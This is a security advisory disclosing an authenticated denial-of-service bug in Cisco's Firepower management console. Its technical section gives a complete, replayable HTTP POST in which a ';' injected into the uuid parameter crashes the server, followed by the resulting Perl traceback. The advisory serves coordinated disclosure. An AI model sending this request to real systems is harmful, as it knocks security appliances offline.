KL-001-2016-004 : Cisco Firepower Threat Management Console Authenticated Denial of Service Title: Cisco Firepower Threat Management Console Authenticated Denial of Service Advisory ID: KL-001-2016-004 Publication Date: 2016.10.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-004.txt 1. Vulnerability Details Affected Vendor: Cisco Affected Product: Firepower Threat Management Console Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213) Platform: Embedded Linux CWE Classification: CWE-404: Improper Resource Shutdown or Release Impact: Denial of Service Attack vector: HTTP 2. Vulnerability Description A authenticated user can send an HTTP request that will crash the Mojo Server thereby making future access impossible until a system reboot is performed. 3. Technical Description The parameter uuid is passed to a chmod function as part of a file path. A ';' in the path causes the function to return an exception. POST /pjb.cgi HTTP/1.1 Host: 1.3.3.7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Content-Type: application/x-www-form-urlencoded Referer: https://1.3.3.7/ddd/ Content-Length: 1180 Cookie: x-auto-507=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D; x-auto-467=%7B%22state%22%3A%7B%22offset%22%3A%22i%3A0%22%2C%20%22limit%22%3A%22i%3A20%22%7D%7D; CGISESSID=ab588faec87c38a18347787e3b442ff8 Connection: close &function=SF::UI::PJB::Vpn::List::saveVpnDeployment&parameters=%5B%7B%22password%22%3A%22test%22%2C+%22authentication_method%22%3A%22password%22%2C+%22type%22%3A%22PTP%22%2C+%22advanced_setting%22%3A%7B%22ah%22%3A0%2C+%22life_bytes%22%3A%220%22%2C+%22life_time%22%3A1%2C+%22life_time_unit%22%3A%22hours%22%2C+%22life_packets%22%3A%220%22%2C+%22ike_life_time%22%3A3%2C+%22ike_life_time_unit%22%3A%22hours%22%2C+%22ikev2%22%3A1%2C+%22ike_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22modp2048%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22modp2048%22%7D%5D%7D%2C+%22phase2_algorithm%22%3A%7B%22other_message_allowed%22%3A0%2C+%22auth_messages%22%3A%5B%7B%22cipher%22%3A%22aes128%22%2C+%22hash%22%3A%22sha1%22%2C+%22dh%22%3A%22%22%7D%2C%7B%22cipher%22%3A%22aes256%22%2C+%22hash%22%3A%22sha256%22%2C+%22dh%22%3A%22%22%7D%5D%7D%7D%2C+%22status%22%3A0%2C+%22name%22%3A%22test%22%2C+%22uuid%22%3A%2207a0d152-09fc-11e6-93cc-9d074250060f;%22%2C+%22applied%22%3A-1%7D%2C%5B%5D%5D&sf_action_id=a5ba3e29eb18730f7c8dc88d53b48759&ex=1&ss=AllVpnList As no exception handler is defined, the process exits. Perl traceback: The 'file' parameter ("/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;.lock") to SF::System::chmod did not pass the 'Type Validator (system.file)' callback at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 73 SF::System::__ANON__('The \'file\' parameter ("/var/tmp/VPNDeployment-07a0d152-09fc...') called at /usr/local/sf/lib/perl/5.10.1/SF/System.pm line 640 SF::System::chmod('HASH(0x114c3c88)') called at /usr/local/sf/lib/perl/5.10.1/SF/Util.pm line 619 SF::Util::wait_for_lock('/var/tmp/VPNDeployment-07a0d152-09fc-11e6-93cc-9d074250060f;....', 120) called at /usr/local/sf/lib/perl/5.10.1/SF/EODataHandler/VPNDeployment.pm line 206 SF::EODataHandler::VPNDeployment::get_lock('07a0d152-09fc-11e6-93cc-9d074250060f;') called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB/Vpn/List.pm line 540 SF::UI::PJB::Vpn::List::saveVpnDeployment('HASH(0x1154bf38)', 'ARRAY(0x11513750)') called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm line 859 SF::UI::PJB::executeFunction('SF::UI::PJB::Vpn::List::saveVpnDeployment', 'ARRAY(0x11513720)') called at /usr/local/sf/lib/perl/5.10.1/SF/UI/PJB.pm line 821 SF::UI::PJB::handleRequest('SF::UI::PJB::Vpn::List::saveVpnDeployment', '[{"password":"test", "authentication_method":"password", "typ...') called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm line 39 eval {...} called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo/Handlers/PjbHandler.pm line 42 SF::Mojo::Handlers::PjbHandler::handle_pjb_cgi('SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 126 Mojolicious::__ANON__(undef, 'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)', 'CODE(0xd635740)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 23 Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)', 'around_action', 'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)', 'CODE(0xd635740)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 106 Mojolicious::Routes::_action('SF::Mojo=HASH(0x905ed38)', 'SF::Mojo::Handlers::PjbHandler=HASH(0x1152d7a0)', 'CODE(0xd635740)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 191 Mojolicious::Routes::_controller('Mojolicious::Routes=HASH(0x905f208)', 'Mojolicious::Controller=HASH(0x1064dbf8)', 'HASH(0x10026868)', 1) called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 43 Mojolicious::Routes::continue('Mojolicious::Routes=HASH(0x905f208)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Routes.pm line 51 Mojolicious::Routes::dispatch('Mojolicious::Routes=HASH(0x905f208)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 118 Mojolicious::dispatch('SF::Mojo=HASH(0x905ed38)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 127 Mojolicious::__ANON__(undef, 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm line 217 eval {...} called at /usr/local/sf/lib/perl/5.10.1/SF/Mojo.pm line 217 SF::Mojo::__ANON__('CODE(0x1152fe98)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 199 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 199 Mojolicious::_exception('CODE(0xf58a1098)', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 20 Mojolicious::Plugins::__ANON__() called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious/Plugins.pm line 23 Mojolicious::Plugins::emit_chain('Mojolicious::Plugins=HASH(0x9056318)', 'around_dispatch', 'Mojolicious::Controller=HASH(0x1064dbf8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojolicious.pm line 133 Mojolicious::handler('SF::Mojo=HASH(0x905ed38)', 'Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server.pm line 71 Mojo::Server::__ANON__('Mojo::Server::Prefork=HASH(0x8349e58)', 'Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 15 Mojo::EventEmitter::emit('Mojo::Server::Prefork=HASH(0x8349e58)', 'request', 'Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm line 83 Mojo::Server::Daemon::__ANON__('Mojo::Transaction::HTTP=HASH(0x114f6558)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 15 Mojo::EventEmitter::emit('Mojo::Transaction::HTTP=HASH(0x114f6558)', 'request') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Transaction/HTTP.pm line 65 Mojo::Transaction::HTTP::server_read('Mojo::Transaction::HTTP=HASH(0x114f6558)', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent: Mozil...') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm line 186 Mojo::Server::Daemon::_read('Mojo::Server::Prefork=HASH(0x8349e58)', 'b2bd7252c6d676b510adb8ba94b9f73f', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent: Mozil...') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Daemon.pm line 166 Mojo::Server::Daemon::__ANON__('Mojo::IOLoop::Stream=HASH(0x103a7e40)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 33 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojo/EventEmitter.pm line 33 Mojo::EventEmitter::emit_safe('Mojo::IOLoop::Stream=HASH(0x103a7e40)', 'read', 'POST /pjb.cgi HTTP/1.1\x{d}\x{a}Host: 1.3.3.7\x{d}\x{a}User-Agent: Mozil...') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm line 116 Mojo::IOLoop::Stream::_read('Mojo::IOLoop::Stream=HASH(0x103a7e40)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop/Stream.pm line 53 Mojo::IOLoop::Stream::__ANON__('Mojo::Reactor::EV=HASH(0x88c8ca8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm line 115 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/Poll.pm line 115 Mojo::Reactor::Poll::_sandbox('Mojo::Reactor::EV=HASH(0x88c8ca8)', 'Read', 'CODE(0x1152e100)', 0) called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 52 Mojo::Reactor::EV::_io('Mojo::Reactor::EV=HASH(0x88c8ca8)', 77, 'EV::IO=SCALAR(0x10667cc8)', 3) called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 43 Mojo::Reactor::EV::__ANON__('EV::IO=SCALAR(0x10667cc8)', 3) called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 24 eval {...} called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Reactor/EV.pm line 24 Mojo::Reactor::EV::start('Mojo::Reactor::EV=HASH(0x88c8ca8)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/IOLoop.pm line 130 Mojo::IOLoop::start('Mojo::IOLoop=HASH(0x88c8a58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm line 214 Mojo::Server::Prefork::_spawn('Mojo::Server::Prefork=HASH(0x8349e58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm line 122 Mojo::Server::Prefork::_manage('Mojo::Server::Prefork=HASH(0x8349e58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Prefork.pm line 96 Mojo::Server::Prefork::run('Mojo::Server::Prefork=HASH(0x8349e58)') called at /usr/lib/perl5/site_perl/5.10.1/Mojo/Server/Hypnotoad.pm line 77 Mojo::Server::Hypnotoad::run('Mojo::Server::Hypnotoad=HASH(0x8953e50)', '/var/sf/bin/mojo_server.pl') called 4. Mitigation and Remediation Recommendation The vendor has addressed this vulnerability in their Support Center as Bug ID CSCva30631. Vendor acknowledgement available at: https://tools.cisco.com/bugsearch/ 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco. 2016.06.30 - Cisco acknowledges receipt of vulnerability report. 2016.07.20 - KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product. 2016.08.12 - 30 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.02 - 45 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.09 - KoreLogic asks for an update on the status of the remediation efforts. 2016.09.15 - Cisco confirms remediation is underway and soon to be completed. 2016.09.28 - Cisco informs KoreLogic that the remediation details will be released publicly on 2016.10.05. 2016.10.05 - Public disclosure. 7. Proof of Concept See Technical Description The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt